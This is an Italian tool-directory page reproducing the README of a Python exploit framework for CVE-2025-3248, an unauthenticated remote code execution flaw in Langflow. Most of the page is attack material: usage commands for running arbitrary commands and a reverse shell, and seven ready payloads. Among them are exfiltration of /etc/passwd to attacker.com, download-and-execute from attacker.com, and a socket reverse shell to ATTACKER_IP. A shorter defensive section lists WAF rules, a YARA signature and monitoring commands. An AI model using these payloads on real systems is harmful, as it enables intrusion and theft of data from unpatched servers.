Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-3248-exploit — Un framework di exploitation Python completo per testare e dimostrare CVE-2025-3248, una vulnerabilità critica di esecuzione di codice remoto non autenticata in Langflow versioni ≤ 1.3.0. | Kitploit
Strumenti/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Scanner di VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitPenetration TestingCommand and ControlApprendimento e Formazione
Red Teaming
Sviluppo Payload
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Un framework di exploitation Python completo per testare e dimostrare CVE-2025-3248, una vulnerabilità critica di esecuzione di codice remoto non autenticata in Langflow versioni ≤ 1.3.0.

Vedi Repository
3910 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-3248: Scanner di vulnerabilità RCE non autenticata di Langflow

License Python Status CVSS EPSS

Un framework di exploitation completo in Python per testare e dimostrare CVE-2025-3248, una vulnerabilità critica di esecuzione remota di codice non autenticata in Langflow versioni ≤ 1.3.0.


🔴 Panoramica della vulnerabilità

CVE-2025-3248: Iniezione di codice Langflow RCE

ProprietàValore
ID CVECVE-2025-3248
ProdottoLangflow
Versioni Affette≤ 1.3.0
Tipo di VulnerabilitàEsecuzione remota di codice non autenticata (RCE)
Vettore di AttaccoRete
Autenticazione RichiestaNessuna
Punteggio CVSS9.8 (Critico)
Punteggio EPSS92.57%
CWECWE-94 (Controllo improprio della generazione di codice)
Endpoint Vulnerabile/api/v1/validate/code

Causa principale

La vulnerabilità risiede nell'endpoint API /api/v1/validate/code, che accetta codice Python arbitrario e lo convalida utilizzando la funzione exec() insicura di Python senza una corretta sanificazione dell'input o sandbox. La vulnerabilità sfrutta il comportamento di Python in cui:

  1. I decoratori vengono valutati immediatamente durante la definizione della funzione
  2. I valori degli argomenti predefiniti vengono eseguiti durante l'analisi dell'Abstract Syntax Tree (AST)
  3. Non esiste alcuna validazione dell'input per prevenire l'esecuzione di codice malevolo

Catena di attacco

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Caratteristiche

  • ✅ Rilevamento Endpoint: Identifica automaticamente istanze Langflow vulnerabili
  • ✅ Test Multi-Fase: 4 test progressivi di vulnerabilità
  • ✅ Esecuzione Comandi: Esegue comandi di sistema arbitrari sul target
  • ✅ Estrazione Ambiente: Recupera variabili d'ambiente e configurazione
  • ✅ Operazioni su File: Testa capacità di lettura/scrittura file
  • ✅ Supporto Reverse Shell: Avvia sessioni interattive di reverse shell
  • ✅ Rilevamento Versione: Identifica informazioni sulla versione di Langflow
  • ✅ Output a Colori: Leggibilità migliorata con colori del terminale
  • ✅ Gestione Timeout: Timeout delle richieste configurabili
  • ✅ Bypass SSL/TLS: Supporto per certificati autofirmati

📦 Requisiti

Python >= 3.7
requests >= 2.25.0

Installa le dipendenze

pip install requests

Opzionale (per una migliore registrazione)

pip install colorama  # Per supporto colore su Windows

🚀 Installazione

Metodo 1: Clona da GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Utilizzo

Sintassi di base

python3 cve_2025_3248_test.py -t <target_url> [options]

Esempi di avvio rapido

1. Scansione vulnerabilità di base

python3 cve_2025_3248_test.py -t http://target.com

2. Esecuzione di un comando personalizzato

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Esecuzione di più comandi

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Sfruttamento Reverse Shell (Solo test autorizzati)

Passo 1: Avvia un listener netcat sulla tua macchina

nc -lvnp 4444

Passo 2: Esegui l'exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Esempio:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Scansione con timeout personalizzato

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argomenti da riga di comando

positional arguments:
  Nessuno

optional arguments:
  -t, --target TARGET       URL del target (es. http://target.com) [OBBLIGATORIO]
  -c, --command COMMAND     Comando da eseguire (default: id)
  --timeout TIMEOUT         Timeout della richiesta in secondi (default: 10)
  --exploit                 Abilita modalità di sfruttamento (reverse shell)
  --lhost LHOST            Il tuo indirizzo IP per la reverse shell
  --lport LPORT            La tua porta per la reverse shell
  -h, --help               Mostra questo messaggio di aiuto

💾 Variazioni del payload

1. Esecuzione basata su decoratori

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Esecuzione tramite argomento predefinito

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Esfiltrazione dati

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operazioni di lettura file

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumerazione variabili d'ambiente

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Scarica ed esegui

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Rilevamento e mitigazione

Per i difensori

Azioni immediate

  1. Aggiorna Langflow

    pip install langflow>=1.3.0
    # oppure
    docker pull langflow:latest
    
  2. Limita l'accesso di rete

    # Nginx reverse proxy - blocca endpoint vulnerabile
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Implementa l'autenticazione

    # Aggiungi middleware di autenticazione
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Regole WAF

Regola ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Regole di rilevamento

Firma YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoraggio e registrazione

# Monitora richieste sospette
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Avvisa su richieste POST all'endpoint vulnerabile
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicatori di Compromissione (IoC)

Scarica lo strumento